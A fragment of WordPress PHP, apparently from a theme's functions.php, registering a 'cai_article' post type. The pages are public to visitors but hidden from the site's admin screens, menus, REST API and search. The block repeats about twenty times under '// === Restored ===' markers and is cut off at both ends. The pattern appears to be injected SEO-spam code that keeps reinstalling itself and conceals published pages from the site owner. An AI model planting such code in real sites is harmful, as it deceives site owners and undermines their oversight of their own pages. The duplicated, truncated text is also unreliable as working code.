    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
